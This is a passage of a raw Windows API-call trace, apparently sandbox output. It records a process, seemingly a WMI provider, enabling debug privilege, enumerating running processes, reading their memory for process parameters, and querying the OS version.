NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0176.390] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xa54998018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0176.391] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0176.391] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1fea1081d60, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0176.391] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1fea1081948, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0176.392] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0176.393] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0176.393] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xa54998020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0176.393] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1fea1081330, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0176.394] malloc (_Size=0xf0) returned 0x196ef0d67b0 [0176.394] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1fea1081988, lpBuffer=0x196ef0d67b0, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0176.394] free (_Block=0x196ef0d67b0) [0176.395] CloseHandle (hObject=0x26c) returned 1 [0176.397] free (_Block=0x196ef0d6d60) [0176.397] malloc (_Size=0x48) returned 0x196ef0ccda0 [0176.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670ffd540 | out: lpSystemTimeAsFileTime=0x670ffd540*(dwLowDateTime=0x49fe3833, dwHighDateTime=0x1d9eb0c)) [0176.397] SetEvent (hEvent=0x248) returned 1 [0177.247] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225e40 [0177.247] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225e40, pulNumLanguages=0x670ffdf90 | out: pulNumLanguages=0x670ffdf90) returned 1 [0177.247] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225e40) returned 1 [0177.247] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225d20) returned 1 [0178.532] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0178.533] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0179.227] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225d30 [0179.227] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee8335b0 [0179.227] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225d30) returned 1 [0179.227] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2c) returned 0x196ef1f20e0 [0179.227] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8335b0) returned 1 [0179.228] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0xc8) returned 0x196ee782e50 [0179.228] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee782e50) returned 1 [0179.228] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x58) returned 0x196ee7cf010 [0179.229] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7cf010) returned 1 [0179.229] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0xa4) returned 0x196ee846ff0 [0179.230] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f20e0) returned 1 [0179.233] memcpy (in: _Dst=0x670ffd7d0, _Src=0x196ef20c7fa, _Size=0x4 | out: _Dst=0x670ffd7d0) returned 0x670ffd7d0 [0179.234] memcpy (in: _Dst=0x670ffd7d0, _Src=0x196ef20c107, _Size=0x4 | out: _Dst=0x670ffd7d0) returned 0x670ffd7d0 [0179.234] memcpy (in: _Dst=0x670ffd7d0, _Src=0x196ef20c802, _Size=0x2 | out: _Dst=0x670ffd7d0) returned 0x670ffd7d0 [0179.234] memcpy (in: _Dst=0x670ffd7d0, _Src=0x196ef20c10d, _Size=0x2 | out: _Dst=0x670ffd7d0) returned 0x670ffd7d0 [0179.234] memcpy (in: _Dst=0x670ffd7d0, _Src=0x196ef20c10f, _Size=0x2 | out: _Dst=0x670ffd7d0) returned 0x670ffd7d0 [0181.111] memcpy (in: _Dst=0x670ffdc80, _Src=0x196ee846677, _Size=0x2 | out: _Dst=0x670ffdc80) returned 0x670ffdc80 [0181.111] memcpy (in: _Dst=0x670ffdc80, _Src=0x196ee846679, _Size=0x2 | out: _Dst=0x670ffdc80) returned 0x670ffdc80 [0181.111] memcpy (in: _Dst=0x670ffdc80, _Src=0x196ee84667b, _Size=0x2 | out: _Dst=0x670ffdc80) returned 0x670ffdc80 [0181.111] memcpy (in: _Dst=0x670ffdc80, _Src=0x196ee84667d, _Size=0x2 | out: _Dst=0x670ffdc80) returned 0x670ffdc80 [0181.112] memcpy (in: _Dst=0x670ffdc80, _Src=0x196ee85e6bc, _Size=0x4 | out: _Dst=0x670ffdc80) returned 0x670ffdc80 [0183.052] malloc (_Size=0x100) returned 0x196ef0d2410 [0183.052] __dllonexit () returned 0x7ffa70f24560 [0183.052] DisableThreadLibraryCalls (hLibModule=0x7ffa70f20000) returned 1 [0183.052] EtwRegisterTraceGuidsW () returned 0x0 [0183.053] DllGetClassObject (in: rclsid=0x196ee78bc50*(Data1=0xa47401f6, Data2=0xa8a6, Data3=0x40ea, Data4=([0]=0x9c, [1]=0x29, [2]=0xb8, [3]=0xf6, [4]=0x2, [5]=0x6c, [6]=0x98, [7]=0xb8)), riid=0x670ffd400*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x670ffc5f0 | out: ppv=0x670ffc5f0*=0x196ef0d1ee0) returned 0x0 [0183.058] EtwEventWrite () returned 0x0 [0183.063] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () [0183.633] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0184.315] RtlRestoreLastWin32Error () returned 0x670db9000 [0184.315] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0184.315] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225f00 [0184.315] RtlRestoreLastWin32Error () returned 0x670db9000 [0184.316] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225f00, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225f00, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0184.316] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225c40 [0184.316] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225f00) returned 1 [0184.316] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee85e550 [0184.316] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee85e550, pulNumLanguages=0x670ffdee8 | out: pulNumLanguages=0x670ffdee8) returned 1 [0184.316] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee85e550) returned 1 [0184.318] SxTracerGetThreadContextRetail () returned 0x0 [0184.318] CoImpersonateClient () returned 0x0 [0184.318] SxTracerGetThreadContextRetail () returned 0x0 [0184.318] AllocateAndInitializeSid (in: pIdentifierAuthority=0x670ffd720, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x670ffd6d8 | out: pSid=0x670ffd6d8*=0x196ee85e370*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0184.318] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x196ee85e370*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x670ffd6d0 | out: IsMember=0x670ffd6d0) returned 1 [0184.319] CoCreateInstance (in: rclsid=0x7ffa70f257e0*(Data1=0x883ff1fc, Data2=0x9e1, Data3=0x48e5, Data4=([0]=0x8e, [1]=0x54, [2]=0xe2, [3]=0x46, [4]=0x9a, [5]=0xcb, [6]=0xc, [7]=0xfd)), pUnkOuter=0x0, dwClsContext=0x10004, riid=0x7ffa70f25780*(Data1=0xb653f1e0, Data2=0x17d7, Data3=0x4ac6, Data4=([0]=0x9b, [1]=0x18, [2]=0xf8, [3]=0x4b, [4]=0x61, [5]=0xdb, [6]=0xc1, [7]=0xa2)), ppv=0x670ffd7b8 | out: ppv=0x670ffd7b8*=0x196ef3b73e8) returned 0x0 [0189.160] IUnknown:Release (This=0x196ef3b73e8) returned 0x0 [0189.162] SxTracerShouldTrackFailure () returned 0x0 [0189.162] LocalFree (hMem=0x0) returned 0x0 [0189.356] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225f80 [0189.356] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225f80, pulNumLanguages=0x670ffdf90 | out: pulNumLanguages=0x670ffdf90) returned 1 [0189.356] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225f80) returned 1 [0189.356] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225c40) returned 1 [0198.594] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0198.862] RtlRestoreLastWin32Error () returned 0x670db9000 [0198.862] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0198.862] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225f20 [0198.862] RtlRestoreLastWin32Error () returned 0x670db9000 [0198.862] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225f20, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225f20, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0198.862] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225d50 [0198.862] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225f20) returned 1 [0198.862] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee85e450 [0198.862] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee85e450, pulNumLanguages=0x670ffdee8 | out: pulNumLanguages=0x670ffdee8) returned 1 [0198.862] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee85e450) returned 1 [0198.866] malloc (_Size=0xb0) returned 0x196ef0f8f60 [0198.867] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa7be80000 [0198.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlInitUnicodeString") returned 0x7ffa7be9ced0 [0198.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlFreeUnicodeString") returned 0x7ffa7be9c680 [0198.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffa7bf27f10 [0198.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffa7bf27630 [0198.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtCreateFile") returned 0x7ffa7bf257e0 [0198.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemInformation") returned 0x7ffa7bf25400 [0198.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryDirectoryObject") returned 0x7ffa7bf272f0 [0198.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryObject") returned 0x7ffa7bf24f40 [0198.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenDirectoryObject") returned 0x7ffa7bf25840 [0198.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationProcess") returned 0x7ffa7bf25060 [0198.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationToken") returned 0x7ffa7bf25160 [0198.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenFile") returned 0x7ffa7bf253a0 [0198.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtClose") returned 0x7ffa7bf24f20 [0198.869] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtFsControlFile") returned 0x7ffa7bf25460 [0198.869] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffa7bf25660 [0198.869] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0198.869] GetCurrentThread () returned 0xfffffffffffffffe [0198.869] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x670ffd4d0 | out: TokenHandle=0x670ffd4d0*=0x458) returned 1 [0198.869] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x670ffd50c | out: lpLuid=0x670ffd50c*(LowPart=0x14, HighPart=0)) returned 1 [0198.871] RtlRestoreLastWin32Error () returned 0x670db9000 [0198.871] AdjustTokenPrivileges (in: TokenHandle=0x458, DisableAllPrivileges=0, NewState=0x670ffd508*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0198.871] GetLastError () returned 0x0 [0198.872] CloseHandle (hObject=0x458) returned 1 [0198.872] malloc (_Size=0x8000) returned 0x196ef0d6d60 [0198.872] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d6d60, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x196ef0d6d60, ResultLength=0x0) returned 0xc0000004 [0198.875] free (_Block=0x196ef0d6d60) [0198.876] malloc (_Size=0x10000) returned 0x196ef0d6d60 [0198.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d6d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x196ef0d6d60, ResultLength=0x0) returned 0xc0000004 [0198.879] free (_Block=0x196ef0d6d60) [0198.879] malloc (_Size=0x18000) returned 0x196ef0d6d60 [0198.879] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d6d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x196ef0d6d60, ResultLength=0x0) returned 0xc0000004 [0198.882] free (_Block=0x196ef0d6d60) [0198.884] malloc (_Size=0x20000) returned 0x196ef0d6d60 [0198.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d6d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x196ef0d6d60, ResultLength=0x0) returned 0x0 [0198.886] _ui64tow_s (in: _Value=0x0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0198.889] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="0") returned 1 [0198.890] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7bea2958, dwBuildNumber=0x7ffa, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.890] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0199.046] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0199.047] CloseHandle (hObject=0x0) returned 0 [0199.047] _ui64tow_s (in: _Value=0x4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0199.051] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4") returned 1 [0199.052] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.052] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0199.065] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0199.065] CloseHandle (hObject=0x0) returned 0 [0199.066] _ui64tow_s (in: _Value=0x134, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="308") returned 0x0 [0199.070] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="308") returned 3 [0199.071] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.071] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0199.085] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134) returned 0x0 [0199.085] CloseHandle (hObject=0x0) returned 0 [0199.301] _ui64tow_s (in: _Value=0x180, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0199.305] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="384") returned 3 [0199.306] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.306] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0199.320] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0199.320] CloseHandle (hObject=0x0) returned 0 [0199.321] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0199.324] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="444") returned 3 [0199.325] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.325] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0199.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0199.638] CloseHandle (hObject=0x0) returned 0 [0199.639] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0199.643] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="452") returned 3 [0199.644] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.644] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0199.663] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0199.898] CloseHandle (hObject=0x0) returned 0 [0199.899] _ui64tow_s (in: _Value=0x1f8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="504") returned 0x0 [0199.905] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="504") returned 3 [0199.906] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.906] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0199.924] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1f8) returned 0x458 [0199.924] GetLastError () returned 0x0 [0199.925] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0199.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xff2cd3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0199.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0199.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x12f29b416a0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0199.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x12f29b413b0, lpBuffer=0x670ffc3f0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0199.926] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0199.927] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0199.927] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xff2cd3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0199.927] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x12f29b40d90, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0199.928] malloc (_Size=0x1c) returned 0x196ef0f9ac0 [0199.928] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x12f29b413f2, lpBuffer=0x196ef0f9ac0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0f9ac0*, lpNumberOfBytesRead=0x0) returned 1 [0199.928] free (_Block=0x196ef0f9ac0) [0199.929] CloseHandle (hObject=0x458) returned 1 [0199.929] _ui64tow_s (in: _Value=0x210, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0199.934] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="528") returned 3 [0199.935] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.935] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0200.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0200.104] CloseHandle (hObject=0x0) returned 0 [0200.105] _ui64tow_s (in: _Value=0x218, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="536") returned 0x0 [0200.110] _vsnwprintf (in: 